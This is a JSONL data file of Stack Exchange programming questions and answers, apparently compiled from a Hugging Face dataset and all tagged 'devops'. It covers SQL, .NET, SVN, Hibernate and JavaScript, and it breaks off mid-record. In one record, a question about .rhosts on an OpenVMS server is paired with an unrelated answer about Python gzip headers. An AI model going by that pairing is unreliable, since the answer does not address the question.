{"id": "hf_2f876b33fcb6", "question": "<p>How can I make:</p>\n\n<p>DELETE FROM foo WHERE id=1 AND <strong>bar not contains id==1</strong></p>\n\n<p>To elaborate, how can I remove a row with <code>id = 1</code>, from table <code>foo</code>, only if there is not a row in table <code>bar</code> with <code>id = 1</code>.</p>\n", "question_body": "", "answer": "```\n```\nDELETE FROM foo WHERE id=1 AND NOT EXISTS (SELECT * FROM bar WHERE id=1)\n```\n```\nI'm assuming you mean that foo and bar are tables, and you want to remove a record from foo if it doesn't exist in bar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.684654"}
{"id": "hf_a91cf487c5c6", "question": "<p>I have a program that when it starts, opens a winform (it is the one specified in Application.Run(new ...). From this form I open another form:</p>\n\n<pre><code>OtherForm newForm=new OtherForm();\nnewForm.Show();\n</code></pre>\n\n<p>How can i communicate from the new winform with the form that opened it? So that I can add some items in it.</p>\n", "question_body": "", "answer": "The simplest way is to override the constructor, eg,\n```\nOtherForm newForm=new OtherForm(string title, int data);\n```\n. This also works for reference types (which would be a simple way to send the data back).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.724561"}
{"id": "hf_97260167c523", "question": "<p>We've got an application we'd like our users to download.  Currently they click a link and download the EXE.  What we'd like to do is have a launchpad/downloader application that would be small and fast to download, which would then download and install the main application.</p>\n\n<p>In a perfect world the downloader would be a MSI (so we could modify some MSI databases).</p>\n\n<p>I'm a seriosu MSi newbie, so I've got no real ideas on where ot even start looking.  Any help or pointers woudl be much appreciated!</p>\n\n<p>Thanks</p>\n\n<p>Andy</p>\n", "question_body": "", "answer": "You'll need to write a bootstrap EXE, there's a little bit of documentation in\nWindows Installer SDK\nor if you're wanting to take the lazy route, it looks like\nMSI Factory\nincludes WiX compatibility and a customizable bootstrap EXE including HTTP download options.\nAlternatively if you're sticking to Open-Source, checkout ClickThrough in WiX. Doesn't seem to be much info on the WiX site, so I'm guessing it's part of WiX 3. But the description sounds similar to what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.772505"}
{"id": "hf_a89170cb7ecf", "question": "<p>How can I fetch more than 1000 record from data store and put all in one single list to pass to django?</p>\n", "question_body": "", "answer": "You can't.\nPart of the FAQ states that there is no way you can access beyond row 1000 of a query, increasing the \"OFFSET\" will just result in a shorter result set,\nie: OFFSET 999 --> 1 result comes back.\nFrom Wikipedia:\nApp Engine limits the maximum rows\n  returned from an entity get to 1000\n  rows per Datastore call. Most web\n  database applications use paging and\n  caching, and hence do not require this\n  much data at once, so this is a\n  non-issue in most scenarios.[citation\n  needed] If an application needs more\n  than 1,000 records per operation, it\n  can use its own client-side software\n  or an Ajax page to perform an\n  operation on an unlimited number of\n  rows.\nFrom\nhttp://code.google.com/appengine/docs/whatisgoogleappengine.html\nAnother example of a service limit is\n  the number of results returned by a\n  query. A query can return at most\n  1,000 results. Queries that would\n  return more results only return the\n  maximum. In this case, a request that\n  performs such a query isn't likely to\n  return a request before the timeout,\n  but the limit is in place to conserve\n  resources on the datastore.\nFrom\nhttp://code.google.com/appengine/docs/datastore/gqlreference.html\nNote: A LIMIT clause has a maximum of\n  1000. If a limit larger than the maximum is specified, the maximum is\n  used. This same maximum applies to the\n  fetch() method of the GqlQuery class.\nNote: Like the offset parameter for\n  the fetch() method, an OFFSET in a GQL\n  query string does not reduce the\n  number of entities fetched from the\n  datastore. It only affects which\n  results are returned by the fetch()\n  method. A query with an offset has\n  performance characteristics that\n  correspond linearly with the offset\n  size.\nFrom\nhttp://code.google.com/appengine/docs/datastore/queryclass.html\nThe limit and offset arguments control\n  how many results are fetched from the\n  datastore, and how many are returned\n  by the fetch() method:\nThe datastore fetches offset + limit results to the application. The first offset results are\nnot\nskipped by the datastore itself.\nThe fetch() method skips the first offset results, then returns the rest (limit results).\nThe query has performance characteristics that correspond\n  linearly with the offset amount plus the limit.\nWhat this means is\nIf you have a singular query, there is no way to request anything outside the range 0-1000.\nIncreasing offset will just raise the 0, so\n```\n```\nLIMIT 1000  OFFSET 0\n```\n```\nWill return 1000 rows,\nand\n```\n```\nLIMIT 1000 OFFSET 1000\n```\n```\nWill return\n0 rows\n, thus, making it impossible to, with a single query syntax, fetch 2000 results either manually or using the API.\nThe only plausible exception\nIs to create a numeric index on the table, ie:\n```\n```\nSELECT * FROM Foo  WHERE ID > 0 AND ID < 1000 \n\n SELECT * FROM Foo WHERE ID >= 1000 AND ID < 2000\n```\n```\nIf your data or query can't have this 'ID' hardcoded identifier, then you are\nout of luck", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.797309"}
{"id": "hf_2fa004baecb1", "question": "<p>I've been reading on the blogosphere for the past week that Linq to SQL is dead [and long live EF and Linq to Entities].  But when I read the overview on MSDN, it appeared to me Linq to Entities generates eSQL just the way Linq to SQL generates SQL queries.</p>\n\n<p>Now, since the underlying implementation (and since SQL Server is not yet an ODBMS) is still a Relational store, at some point the Entity framework has to make the translation into SQL queries.  Why not fix the Linq to SQL issues (m:m relationships, only SQL server support etc.) and use Linq to SQL in as the layer that generates these queries?</p>\n\n<p>Is this because of performance or EF uses a different way of transforming the eSQL statement into SQL?</p>\n\n<p>It seemed to me - at least for my unlearned mind - a natural fit to dogfood Linq to SQL in EF.</p>\n\n<p>Comments?</p>\n", "question_body": "", "answer": "It is worth noting that Entity Framework has (at least) three ways of being consumed:\nLINQ to Entities over Object Services over Entity Client\nEntity SQL over Object Services over Entity Client\nEntity SQL using Entity Client command objects (most similar to classic ADO.NET)\nEntity Client ultimately spits out a representation of the ESQL command (in a canonical, database agnostic form) which the ADO.NET Provider for the specific RDBMS is responsible for converting into store specific SQL. This is the right model IMHO as over the years a lot of time has been invested (and will continue to be invested) in producing great ADO.NET Providers for each store.\nAs Entity Framework needs to work with many stores and therefore many ADO.NET Providers there is less scope for them to easily optimise what the Entity Client generates on a per store basis (at least - thats where we are with v1). The LINQ to SQL team had a much smaller problem to solve - \"works only with SQL Server\" and hence could do store specific stuff more easily. I know the EF team are aware that there are cases where EF to SQL Server is producing TSQL less efficiently than L2S and are working on improving this for V2.\nInterestingly this model allows new capabilities to be added between the Entity Client and the ADO.NET Provider for a store. These \"wrapping providers\" can add services such as logging, auditing, security, caching. This is discussed as a V2 feature over at\nhttp://blogs.msdn.com/efdesign/archive/2008/07/09/transparent-caching-support-in-the-entity-framework.aspx\nIf you look therefor at the bigger picture you can see that it would be horribly difficult and indeed restrictive to try and somehow retrofit L2S TSQL generation into the archiecture of the Entity Framework.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.834216"}
{"id": "hf_ef813c1e98e9", "question": "<p>I am looking to use quartz to schedule emails, but I'm not sure which approach to take:</p>\n\n<ol>\n<li>Create a new job and trigger whenever an email is scheduled OR</li>\n<li>Create a single job, and create a new trigger each time an email is scheduled</li>\n</ol>\n\n<p>I need to pass the message/recipient etc either way, and I'm not sure whether creating heaps of jobs will start adding considerable memory overheads, as there will quite possibly be thousands of emails scheduled.</p>\n\n<p><strong>Update</strong>: These emails will be scheduled by users, not by me - so I will be adding these programmatically at runtime, they aren't scheduled to go out at any particular time.</p>\n", "question_body": "", "answer": "You might consider queuing or otherwise grouping a set of emails and have a single, or maybe a few, periodic (or scheduled) job(s) that then takes care of the 'batch'.\nYou could even have the Quartz job queue the emails for a collection of workers to consume and send.\nI would not recommend thousands of Quartz jobs/triggers - it just isn't the intended use of the tool (IMHO).\nEDIT: In response to the comment below:\nI would not recommend thousands of Quartz jobs/triggers when used as part of a framework executing an application in the same JVM, The jobs/triggers will be competing for resources with the rest of the application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.859086"}
{"id": "hf_de38ea2e532f", "question": "<p>How do you determine what to put in .rhosts file in an VAX openvms system when trying to remotely access the server using a remote shell from Cygwin on windows XP ? .rlogin and rsh are the only methods that can be used to access the VAX server and it must be using Cygwin to remote in to the VAX server. SSH is not an option. When the VAX server is accessed from a Sun server it works fine. I have tried many combination's of possible things that Cygwin could be sending the VAX as far as a user name an address of origin. </p>\n", "question_body": "", "answer": "In lib/gzip.py, we find the method that builds the header, including the part that does indeed contain a timestamp. In Python 2.5, this begins on line 143:\n```\n```\ndef _write_gzip_header(self):\n    self.fileobj.write('\\037\\213')             # magic header\n    self.fileobj.write('\\010')                 # compression method\n    fname = self.filename[:-3]\n    flags = 0\n    if fname:\n        flags = FNAME\n    self.fileobj.write(chr(flags))\n    write32u(self.fileobj, long(time.time())) # The current time!\n    self.fileobj.write('\\002')\n    self.fileobj.write('\\377')\n    if fname:\n        self.fileobj.write(fname + '\\000')\n```\n```\nAs you can see, it uses time.time() to fetch the current time. According to the online module docs, time.time will \"return the time as a floating point number expressed in seconds since the epoch, in UTC.\" So, if you change this to a floating-point constant of your choosing, you can always have the same headers written out. I can't see a better way to do this unless you want to hack the library some more to accept an optional time param that you use while defaulting to time.time() when it's not specified, in which case, I'm sure they'd love it if you submitted a patch!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.934955"}
{"id": "hf_6143544742ff", "question": "<p>I'm looking into integrating jBPM with my current project, so far so good just including the  jpdl jar in my ear and using the spring modules 0.8 jbpm module, however I've got to have a reasonable way of going from my changes to to the process definition in the designer to deployment in production.</p>\n\n<p>The path has to be repeatable in a number of environments (dev, many test, staging and then prod) and ideally should be done while the system itself is not running.</p>\n\n<p>I'd Ideally package the entire definition as an SQL script, however I haven't seen any tool to translate from processdefinition.xml to sql and assembling it all manually seems too fiddly and error prone.</p>\n\n<p>Has anyone else out there had any experiences here?</p>\n\n<p>The system is running on websphere 6.1 and it's my preference to avoid executing java code at migration time (running java code to generate artifacts that can then be used during migration is ok though)</p>\n", "question_body": "", "answer": "Why not use the ant task extensions provided by JBPM specifically\n```\nDeployProcessTask\n```\n. You can deploy to different environments having just a single\n```\n.par\n```\nfile and the corresponding\n```\njbpm-cfg.xml\n```\nfor the various dev/test/staging/prod environments. The only change you might have to do is to configure your hibernate config to directly connect to the database instead of using the datasource.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.971326"}
{"id": "hf_90327bc1fcd1", "question": "<p>I've come across the problem where Excel will not play nice with UTF-8 encoded CSV files. See this <a href=\"https://stackoverflow.com/questions/155097/microsoft-excel-mangles-diacritics-in-csv-files\">related question</a> on Stack Overflow.</p>\n\n<p>I've followed the solution of exporting as UTF-16, however it seems that with UTF-16, the comma character doesn't work as a delimiter, only the tab character.</p>\n\n<p>However I can't find anywhere what the correct filename and mime-type should be for tab-delimited files. I found somewhere stating that it was application/vnd.ms-excel and xls. This works ok for Excel 2003 but 2007 does not approve.</p>\n\n<p>So what should it be?</p>\n", "question_body": "", "answer": "For tab-delimited files,\nhttp://www.rfc-editor.org/rfc/rfc4180.txt\nmentions 'text/tab-separated-values'.\nThat format is (sparsely) described at\nhttp://www.iana.org/assignments/media-types/text/tab-separated-values\n.\nMore info can be found at :\nhttp://www.cs.tut.fi/~jkorpela/TSV.html\nI hope this helps?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.007775"}
{"id": "hf_d37ba8ce85ed", "question": "<p>I figure this problem is easier than just a regular spell checker since the list of U.S cities is small compared to all known English words.</p>\n\n<p>Anyhow, here's the problem:\nI have text files with full of city names; some of which are spelled correctly and some which aren't. </p>\n\n<p>What kind of algorithm can I use to correct all the misspellings of city names?</p>\n", "question_body": "", "answer": "Do you actually need to correct the misspellings or just flag them as with a normal spell checker?  If the latter, you just need to obtain a list of correct spellings and make sure each name is the same as one in your list.\nIf you want to actually correct them, you probably want to use the concept of\nedit distance\nto compare the similarity of misspelled strings to those in your reference list.  Then you can replace the misspelled word with the closest match.  You may also want to handle the possibility that the intended city is not in your list.\nThe\nLevenshtein distance\nWikipedia article is another good resource.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.067424"}
{"id": "hf_9f43e6b71701", "question": "<p>Is there a way (in C#) to access the systray?\nI am not talking about making a notify icon.\nI want to iterate through the items in the tray (I would guess through the processes but I don't know how to determine what is actually in the tray and what is just a process) and also represent the items with their icons in my own ui.</p>\n", "question_body": "", "answer": "Mathias Rauen's madCollection (for Delphi not c#) can list\nTray Icons\n.\nAnd there is a commandline tool:\nWindows System Tray Scan Utility\nI have also written (not released) my own program in Delphi (not Delphi.NET), not using madCollection, which shows tray icons, process names, tooltips and other info but it's not perfect. There are a few icons it can't display (even though it lists other info), and it can't display any icons under windows 9x. I haven't tested it at all under Vista.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.115739"}
{"id": "hf_a079efb964b6", "question": "<p>Sometimes I need to access some servers running Linux (or maybe another Unix-like SO), but I don't know how to verify which <a href=\"http://en.wikipedia.org/wiki/Linux_distribution\" rel=\"noreferrer\">distribution</a> is in use on the server (there are times that even the \"responsible\" person for the server doesn't know). </p>\n\n<p>Is there an easy and reliable way to discover that, one that is uniform and consistent across all of them?</p>\n", "question_body": "", "answer": "Try\n```\nuname -a\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.140722"}
{"id": "hf_1f1deb7dec59", "question": "<p>I am calling an unmanaged C++ dll that expects a char* as one of its parameters and I want to push a byte[] into it.  The project is written in VB.NET. </p>\n\n<p>What type of marshalling will work for this?</p>\n", "question_body": "", "answer": "I'm not a .net expert, but I've needed to do something similar recently.\nIt is not just a matter of serialization, you also have to stop the garbage collector from cleaning up your byte array while it is being used in C++ land...\nThe below snippet of C# should help.\n```\n// pin the byte[] (byteArray)  \nGCHandle handle = GCHandle.Alloc(byteArray, GCHandleType.Pinned);   \nIntPtr address = handle.AddrOfPinnedObject();  \n// Do your C++ stuff, using the address pointer.\n\n// Cleanup \nhandle.Free();\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.201602"}
{"id": "hf_64a1a601de6c", "question": "<p>Is there a way to delete a folder, lets call it FolderX from an SVN trunk recursively? A quick search on google only tells me how to recursively delete all .svn folders and this is not what I want to do</p>\n", "question_body": "", "answer": "Try something like the following on a posix system:\n```\n```\nfind ./ -name \"FolderX\" | xargs svn delete --force\n```\n```\nThis will find all matching files/folders starting in the current directory and perform the action on them i.e. svn delete. I'm not sure how to do this in windows though without cygwin.\nFor win32, the commenter below suggests a similar solution (cmd):\n```\n```\nfor /R . %1 in (*.EXT) do svn delete %1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.226034"}
{"id": "hf_13fd393908ba", "question": "<p>I'm not sure how to describe this problem, so I think an example is the best way to ask my question:</p>\n\n<p>I have two tables with a manyToMany relationship:</p>\n\n<p>DriversLicence &lt;-> LicenceClass</p>\n\n<p>LicenceClass is things like \"Car\", \"Motorbike\", and \"Medium Rigid\".</p>\n\n<p>Using Hibernate Criteria, how can I find all licences that have both \"Car\" and \"Motorbike\" LicenceClasses?</p>\n\n<p>UPDATE 12/11/2008\nI have discovered that this can easily be achieved by using a custom ResultTransformer. However the problem is that a result transformer only gets applied AFTER the query returns its results, it does not actually become part of the SQL. So I guess my question is now \"Can you do what I initially described in SQL - and is there a Hibernate Criteria analog?\"</p>\n", "question_body": "", "answer": "You can still use dot notation to work across the relations.  For example, assuming you have a DriversLicence.licenceClass property and LicenceClass.type property, then:\n```\n```\nsession.createCriteria(DriversLicence.class)\n   .add(Expression.or(\n     Expression.eq(\"licenceClass.type\", \"Car\"),\n     Expression.eq(\"licenceClass.type\", \"Motorbike\")\n   )\n).list();\n```\n```\nPersonally though, I'd simply avoid using criteria in this case because it's not a dynamic query, but instead use:\n```\n```\nsession.createQuery(\"from DriversLicence where licenceClass.type in (:types)\")\n  .setParameterList(\"types\", myListOfTypes)\n  .list();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.249738"}
{"id": "hf_d1c0d6ae78bd", "question": "<p>let us have a situation in which the following program prints some 10 lines of #</p>\n\n<pre><code>for(i=0;i&lt;10;i++)\nprinf(\"\\n#\");\n</code></pre>\n\n<p>now how to go back to 5 th line and edit that # and change the color of it without clearing the screen or clearing the below 5 lines?\n<p>I have tried </p>\n\n<pre><code>window(5,0,20,20);\ntextcolor(GREEN);\ncprintf(\"#\");\n</code></pre>\n\n<p>but it is not editing that one but it is printing on the side of the original one.why?\n<p>is there any other way of doing it and changing the color of the already printed text dynamically?\nplease help me..my environment is turbo c on windows</p>\n", "question_body": "", "answer": "maybe-\n```\n```\ncprintf(\"\\b#\");\n```\n```\n'b' is for backspace", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.285749"}
{"id": "hf_8f77dc6095f7", "question": "<p>Is there a reason to sort MultiMap in Java and how to do that?</p>\n", "question_body": "", "answer": "Assuming you're talking about\n```\norg.apache.commons.collections.MultiMap\n```\n, then you can't; since it returns a\n```\nCollection\n```\nand not a\n```\nList\n```\n, it doesn't support the concept of order.\nIf you are talking about\n```\norg.apache.commons.collections.MultiHashMap\n```\n, then all you need to do is iterate over the keys, take the\n```\nArrayList\n```\nreturned and sort it using\n```\nCollections.sort()\n```\n.\nThat's assuming you are using\nthat implementation though\n.\nThere is nothing stopping you from implementing your own\n```\nMultiMap\n```\nfairly easily though, that supports sorting lists. It may be as easy as\n```\nHashMap<K, Collection<V>>\n```\n, I'm not familiar with how MultiMaps work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.321260"}
{"id": "hf_354f345184bc", "question": "<p>I'm doing some searching of tags, and some users like \"cat\" while others like \"Cat\"  Go figure...</p>\n\n<p>Anyways, is there a way to force a particular find to be case sensitive?  Such as:</p>\n\n<pre><code>Tag.find(:some-special-option-here)\n</code></pre>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "In the mysql database, set your text's data type to utf_collate_bin. For example:\n```\n```\nALTER TABLE `sets` CHANGE `set_name` `set_name` VARCHAR( 64 ) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL\n```\n```\nWhere 'sets' is the table, 'set_name' is the column of type VARCHAR(64). You can also do this in PhpMyAdmin..\nAny binary collate will do the job; but utf8 is preferable.\nIf you were wondering what the _ci at the end of your current collate is, it means \"Case Insensitive\" :p", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.357793"}
{"id": "hf_aa858abf188c", "question": "<p>I'm building my app in vc2008 and testing it on a network of machines.</p>\n\n<p>Is there any way, other than installing Visual Studio 2008, to run a debug build of a C++ program on another machine? (i.e. that doesn't have vc2008 installed)</p>\n\n<p>Installing the redist package only installs the release mode support DLL's for vc2008 programs. Currently it complains that \"This application has failed to start because the application configuration is incorrect. Reinstalling the application may fix this problem.\", which I assume is code for \"I'm missing DLL's\".</p>\n", "question_body": "", "answer": "You can't, because there's no installer redist for the debug runtime (and in fact the software license forbids distributing it, so you'd be breaking the EULA even if you did get something put together). However, a \"debug build\" generally involves 4 separate options, and the other 3 don't affect distributing the app.\nGenerating a .pdb file (cl /Zi and link /DEBUG), which allows symbolic debugging. You probably want to add /OPT:ref to the linker options; the linker drops unreferenced functions when not making a .pdb file, but with /DEBUG mode it keeps them all (since the debug symbols reference them) unless you add this expicitly.\nI generally do this with all my builds, even production ones. As long as you turn the linker optimizations back on with /OPT:ref it doesn't really cost anything, and having the symbols can be handy if you end up wanting to read a crash dump.\nUsing a debug version of the C runtime library (probably MSVCR*D.dll, but it depends on what runtime you're using). This boils down to /MT or /MTd (or something else if not using the dll runtime).\nThis is the one that means you can't redistribute things anymore. It also has a huge impact in the performance of some libraty functions, particularly memory allocation. The debug runtime versions are careful to \"poison\" the memory they touch with values to make uninitialized data bugs clear, the release ones generally leave the old data round to save the time touching it. I believe with the MSVCP* STL implementations the debug verions also omit all the allocation pooling that is usually done, so that a leak checker can show exactly the block you'd think and not some larger chunk of memory that it's been sub-allocating, but that means it makes more calls to malloc on top of them being much slower. If you have pointer or iterator handling bugs, this could affect what sort of misbehavior you get.\nTurning off the compiler optimizations (/Od).\nThis one does lots of things (\nthis question\nhas some good discussion of the subject), but basically it hurts performance. A lot. Unfortunately, it's needed if you want single-stepping to work smoothly.\nsetting the preprocessor #defines DEBUG or NDEBUG.\nThis affects lots of libraries in various ways, but most notable it compiles in or eliminates assert() and friends.\nSo you might consider making a build with some lesser combination of these selections. I make a lot of use of builds that use have symbols (/Zi and link /DEBUG) and asserts (/DDEBUG), but are still optimized (/O1 or /O2 or whatever flags you use) but with stack frame pointers kept for clear backtraces (/Oy-) and using the normal runtime library (/MT). This performs close to my release build and is semi-debuggable (backtraces are fine, single-stepping is a bit wacky at the source level; assembly level works fine of course). You can have however many configurations you want; just clone your release one and turn on whatever parts of the debugging seem useful.\nThe only one that should impact trying to redistribute the app is 2.\nIf you're trying to debug on another machine, you might also be interested in\nmsvsmon\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.382487"}
{"id": "hf_144377b481db", "question": "<p>I've found the \"open\" command in Mac OS X very handy in the command line. From \"man open\":</p>\n\n<blockquote>\n  <p>The <code>open</code> command opens a file (or a directory or URL), just as if you had\n      double-clicked the file's icon. If no application name is specified, the\n      default application as determined via LaunchServices is used to open the\n      specified files.</p>\n</blockquote>\n\n<p>That is, if I want to open a PDF file with the default PDF viewer (happens to be Preview), I only need to do:</p>\n\n<pre><code>open my.pdf\n</code></pre>\n\n<p>In Linux, however, to open a PDF file from the command line, I had to dig around to find the default PDF viewer is, for instance, \"evince\" (who'd have guessed??), and then</p>\n\n<pre><code>evince my.pdf\n</code></pre>\n\n<p>So, is there a simple equivalent of the 'open' command in the Linux command line?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You could try\n```\nxdg-open\n```\n, most Linux distros have it. It will open default associated app for your file.\nFYI\nhttps://portland.freedesktop.org/doc/xdg-open.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.407514"}
{"id": "hf_1246141d7a80", "question": "<p>I have used this in my HTML:</p>\n\n<pre><code>&lt;q&gt; Hai How r u &lt;/q&gt;\n</code></pre>\n\n<p>Which shows the text in quotes, like \"Hai How r u\", for example.</p>\n\n<p>This is working fine in FF but not in IE 6.0.</p>\n\n<p>Please let me know why this happens, and any solutions you might know of. </p>\n\n<p>I don't want to use the quote (\") character in my HTML or a separate css file for this.</p>\n", "question_body": "", "answer": "Why don't you just use the\n```\n\"\n```\ncharacters? Unlike\n```\n<b>\n```\nand\n```\n<i>\n```\nwhich should be replaced by strong and emphasis respectively, as appropriate, the quote tag has a direct match in meaning to the quote character. There should be no need to use\n```\n<q>\n```\n.\nEdit\n: Thanks for clarifying the question Yan.\nOP: Is there a specific reason you don't want to use the quotes? The stuff I said earlier still holds, but perhaps we can help with the problem preventing you from using quotes.\nEdit 2\n: :|", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.456080"}
{"id": "hf_4dc7e5317e44", "question": "<p>I am using BSD style pty/tty pairs to implement running a sub shell.  When the user exits the sub shell, how do I detect in the master process that this has occurred?  I am using select(nfds, &amp;read_fds, NULL, NULL, &amp;timeout); with the master pty file descriptor set in the read_fds on the master side.</p>\n", "question_body": "", "answer": "The subshell is typically created by a\n```\nfork()\n```\nof some sort.  The PID of the child is returned to the master, which can check (with\n```\nwaitpid()\n```\n, perhaps) if it's still running.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:16.517253"}
{"id": "hf_ceb9921a6238", "question": "<p>I want to be able to get a list of all differences between two JavaScript object graphs, with the property names and values where the deltas occur. </p>\n\n<p>For what it is worth, these objects are usually retrieved from the server as JSON and typically are no more than a handful of layers deep (i.e. it may be an array of objects that themselves have data and then arrays with other data objects).</p>\n\n<p>I want to not only see the changes to basic properties, but differences in the number of members of an array, etc. etc.</p>\n\n<p>If I don't get an answer, I will probably end up writing this myself, but hope someone has already done this work or know of someone who has.</p>\n\n<hr>\n\n<p>EDIT: These objects will typically be very close in structure to one another, so we are not talking about objects that are utterly different from one another, but may have 3 or 4 deltas.</p>\n", "question_body": "", "answer": "Here is a partial, naïve solution to my problem - I will update this as I further develop it.\n```\n```\nfunction findDifferences(objectA, objectB) {\n   var propertyChanges = [];\n   var objectGraphPath = [\"this\"];\n   (function(a, b) {\n      if(a.constructor == Array) {\n         // BIG assumptions here: That both arrays are same length, that\n         // the members of those arrays are _essentially_ the same, and \n         // that those array members are in the same order...\n         for(var i = 0; i < a.length; i++) {\n            objectGraphPath.push(\"[\" + i.toString() + \"]\");\n            arguments.callee(a[i], b[i]);\n            objectGraphPath.pop();\n         }\n      } else if(a.constructor == Object || (a.constructor != Number && \n                a.constructor != String && a.constructor != Date && \n                a.constructor != RegExp && a.constructor != Function &&\n                a.constructor != Boolean)) {\n         // we can safely assume that the objects have the \n         // same property lists, else why compare them?\n         for(var property in a) {\n            objectGraphPath.push((\".\" + property));\n            if(a[property].constructor != Function) {\n               arguments.callee(a[property], b[property]);\n            }\n            objectGraphPath.pop();\n         }\n      } else if(a.constructor != Function) { // filter out functions\n         if(a != b) {\n            propertyChanges.push({ \"Property\": objectGraphPath.join(\"\"), \"ObjectA\": a, \"ObjectB\": b });\n         }\n      }\n   })(objectA, objectB);\n   return propertyChanges;\n}\n```\n```\nAnd here is a sample of how it would be used and the data it would provide (please excuse the long example, but I want to use something relatively non-trivial):\n```\n```\nvar person1 = { \n   FirstName : \"John\", \n   LastName : \"Doh\", \n   Age : 30, \n   EMailAddresses : [\n      \"john.doe@gmail.com\", \n      \"jd@initials.com\"\n   ], \n   Children : [ \n      { \n         FirstName : \"Sara\", \n         LastName : \"Doe\", \n         Age : 2 \n      }, { \n         FirstName : \"Beth\", \n         LastName : \"Doe\", \n         Age : 5 \n      } \n   ] \n};\n\nvar person2 = { \n   FirstName : \"John\", \n   LastName : \"Doe\", \n   Age : 33, \n   EMailAddresses : [\n      